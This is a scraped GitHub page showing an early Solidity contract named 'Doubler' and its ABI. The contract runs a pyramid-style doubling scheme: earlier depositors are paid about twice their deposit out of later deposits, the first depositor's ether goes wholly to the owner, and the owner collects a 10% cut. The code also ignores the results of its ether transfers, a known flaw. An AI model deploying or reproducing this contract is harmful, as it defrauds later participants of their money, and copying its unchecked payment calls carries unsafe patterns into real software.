-
Notifications
You must be signed in to change notification settings - Fork 1
/
Doubler.sol
174 lines (159 loc) · 3.59 KB
/
Doubler.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
contract Doubler {
struct Participant {
address etherAddress;
uint amount;
}
Participant[] public participants;
uint public payoutIdx = 0;
uint public collectedFees;
uint public balance = 0;
address public owner;
// simple single-sig function modifier
modifier onlyowner { if (msg.sender == owner) _ }
// this function is executed at initialization and sets the owner of the contract
function Doubler() {
owner = msg.sender;
}
// fallback function - simple transactions trigger this
function() {
enter();
}
function enter() {
if (msg.value < 1 ether) {
msg.sender.send(msg.value);
return;
}
// add a new participant to array
uint idx = participants.length;
participants.length += 1;
participants[idx].etherAddress = msg.sender;
participants[idx].amount = msg.value;
// collect fees and update contract balance
if (idx != 0) {
collectedFees += msg.value / 10;
balance += msg.value;
}
else {
// first participant has no one above him,
// so it goes all to fees
collectedFees += msg.value;
}
// if there are enough ether on the balance we can pay out to an earlier participant
if (balance > participants[payoutIdx].amount * 2) {
uint transactionAmount = 2 * (participants[payoutIdx].amount - participants[payoutIdx].amount / 10);
participants[payoutIdx].etherAddress.send(transactionAmount);
balance -= participants[payoutIdx].amount * 2;
payoutIdx += 1;
}
}
function collectFees() onlyowner {
if (collectedFees == 0) return;
owner.send(collectedFees);
collectedFees = 0;
}
function setOwner(address _owner) onlyowner {
owner = _owner;
}
}
ABI:
[
{
"constant": false,
"inputs": [
{
"name": "_owner",
"type": "address"
}
],
"name": "setOwner",
"outputs": [],
"type": "function"
},
{
"constant": true,
"inputs": [
{
"name": "",
"type": "uint256"
}
],
"name": "participants",
"outputs": [
{
"name": "etherAddress",
"type": "address"
},
{
"name": "amount",
"type": "uint256"
}
],
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "owner",
"outputs": [
{
"name": "",
"type": "address"
}
],
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "collectedFees",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "payoutIdx",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "balance",
"outputs": [
{
"name": "",
"type": "uint256"
}
],
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "collectFees",
"outputs": [],
"type": "function"
},
{
"constant": false,
"inputs": [],
"name": "enter",
"outputs": [],
"type": "function"
},
{
"inputs": [],
"type": "constructor"
}
]